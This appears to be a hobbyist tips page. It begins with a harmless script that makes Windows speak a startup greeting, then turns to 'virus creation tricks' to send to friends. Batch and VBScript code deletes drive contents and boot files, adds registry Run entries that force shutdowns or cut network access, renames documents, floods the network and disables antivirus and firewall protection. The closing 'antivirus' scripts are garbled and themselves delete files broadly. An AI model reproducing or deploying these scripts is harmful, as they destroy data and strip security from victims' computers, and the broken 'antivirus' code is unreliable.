Computer Welcomes You

 Do you watch movies? Have you always loved the way how Computers in movies welcome their users by calling out their names? I bet that you too would want to know how you can achieve similar results on your PC and have a computer said welcome.

Then you are at the right place, this article describes exactly how you can make your computer welcome you like this.

With this trick, you can make your Computer welcome you in its computerized voice. You can make your Windows based computer say "Welcome to your PC, Username."

Make Windows Greet you with a Custom Voice Message at Startup

To use this trick, follow the instructions given below:-

1. Click on Start. Navigate to All Programs, Accessories and Notepad.
2. Copy and paste the exact code given below.
   

Dim speaks, speech
speaks="Welcome to your PC, Username"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks

     3.  Replace Username with your own name.
     4.  Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Welcome.vbs or "*.vbs".
     5.  Copy the saved file.
     6.  Navigate to C:\Documents and Settings\All Users\Start Menu\Programs\Startup (in Windows XP) and to C:\Users\ {User-Name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (in Windows 8, Windows 7 and Windows Vista) if C: is your System drive. AppData is a hidden folder. So, you will need to select showing hidden folders in Folder options to locate it.
     7.  Paste the file.

 

Now when the next time you start your computer, Windows will welcome you in its own computerized voice.

Note: For best results, it is recommended to change sound scheme to No Sounds.
You can change the sound scheme to No Sounds by following the steps given below:-

1. Go to Control Panel.
2. Then click on Switch to Classic View.
3. Then Click on Sounds and Audio Devices.
4. Then Click on the Sounds Tab.
5. Select No Sounds from the Sound Scheme option.
6. If you wish to save your Previous Sound Scheme, you can save it by clicking Yes in the popup menu.
7. Click on OK.

Try it yourself to see how it works. In my personal opinion, this is an excellent trick. Whenever I start my PC in front of anybody and the PC welcomes me, the fellow is left wondering how brilliant a computer do I have.

Around 41 Ways Create Your Own Antivirus

1 -> Virus Creation Tricks 1

Just open the Notepad and type the paste the following Code.
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having  .vbs Extension . 

2 -> Virus Creation Trick  2 .
Open Notepad and write "start" without quotes
Start
Start
Start 
and then save it with .bat extension. 
Now double click on this .bat file to run Command Prompt.

 3 -> Virus Creation Trick 3 
Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
 
Save it as "Anything.BAT" in All Files and send it. 

4 -> Virus Creation Trick 4 
Toggle your friend's Caps Lock button simultaneously:

Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it. 

5 -> Virus Creation Trick 5 
Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.   

6 -> Virus Creation Trick 6  

This Virus Deletes All The Content Of A Drive...

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code As Anything.bat 




7 -> Virus Creation Trick 7
This Will Crash Ur Computer

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

Save It As Anything.vbs 
 
 8 -> Virus Creation Trick 8
The Most Simple Virus To Crush The Window
It Only Works With Windows XP


@Echo off
Del C: *.* |y

Save It As Anything.bat 

 9 -> Virus Creation Trick 9
Virus that crashes pc
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive


Save As Anything.bat File In Notepad!!
This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!

10 -> Virus Creation Trick 10
Shutdowns Computer Everytime It Is Turned On

Save As A bat File

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

11 -> Virus Creation Trick 11
Disable Internet Permanently

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save As A bat File 
  
12 -> Virus Creation Trick 12 
Change Files To Non-working TXT Files
Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

  
13 -> Virus Creation Trick 13 
System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File


Temporarily Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will
automatically shutdown on every startup

Permanently Kill Antivirus

WRITE THIS ON A NOTEPAD
@ echo off
rem --
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
 cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem --

YOR OWN ANTIVIRUS

If you are lazy to download antivirus (let alone pay for) there is another way in eradicating the virus. That is, with "Notepad." Okay, the way he is with a script / code that is typed in notepad, then notepad replaced its extension. Well, other than to eradicate the virus, you can surprise your friends who do not know this. Well, here's how:
Method 1: eliminate or eradicate the virus do you know his name

1.Open Notepad

2.Copy and Paste the code below

@echo off
echo turns of the virus
taskkill /F /IM virusname1.exe /IM virusname2.exe
echo remove all viruses by size
for /R C:\ %%a in (*.exe) do if %%~za equ 157184 del /A: H S R A “%%a”
echo remove virus that disguised
echo to drive c and subfolder
for /R C:\ %%a in (*.doc.exe) do del “%%a”
echo to drive d and subfolder
for /R D:\ %%a in (*.doc.exe) do del “%%a”
echo returns the Document is in the Hidden
cd /d c:\
echo to drive c and subfolder
attrib *.doc -H -S -A /S
cd /d d:\
echo to drive d and subfolder
attrib *.doc -H -S -A /S
exit

Description: virusname1 and virusname2 be filled with the virus name you know.

4.Save As with the name Anything.bat , change to All Files and not TXT (Just have to bat extension). Example: Antivirus.bat

Method 2: Remove Virus do you know his name and remove any virus bat

1.Open Notepad

2.Copy and Paste the code below

x=msgbox("Anti-Virus should delete some of the virus's that you may have.",1+16 , "Alert")
x=msgbox("what this does is removes anything that Has any text that seems like a virus",1+16 ,"Alert")
x=msgbox("It will also go through your computer and delete All Batch Files.",1+16 ,"Alert")
x=msgbox("If you want any of you .bat files saved then do so before hitting okay",1+16 ,"Alert")
x=msgbox("The Anti-Virus software is now ready to begin.
click okay to begin".1+16 ,"Alert")
del (:'bat*):
x=msgbox("All BAT Files sucessfully removed. click okay to Continue,",1+16 ,"Alert)
del virus.vbs
del virus.bat
del torjan.bat
del torjan.vbs
del infected.bat
del infected.vbs
del TROJ.bat

del TOR.vbs
del Torjan Horse.Bat
del Torjan Horse.vbs
del OM.bat
del OM.vbs
del Macro Virus.bat
del Micro Virus.vbs
del conflicker.bat
del conflicker.bat

del trojan.bat

del trojan.vbs

del Trojan Horse.Bat

del Trojan Horse.vbs
x=msgbox("Anti-Virus Completed...Will Now test and make working",1+16 ,"Alert)
open notepad
open mspaint
open controlpanel
open MyDocuments
x=msgbox("Now we will Shutdown/Restart your computer, and windows will install an important update for your computer",1+16 ,"Alert)
Shutdown -r -c "Rebooting computer for important windows updates"
x=msgbox(anti-Virus Software Complete. The program now close.",1+16,;"Alert")

Description: You can add the name of the virus you know.

4.Save As with the name Anything.bat , change to All Files and not TXT (Just have to bat extension). Example: Antivirus.bat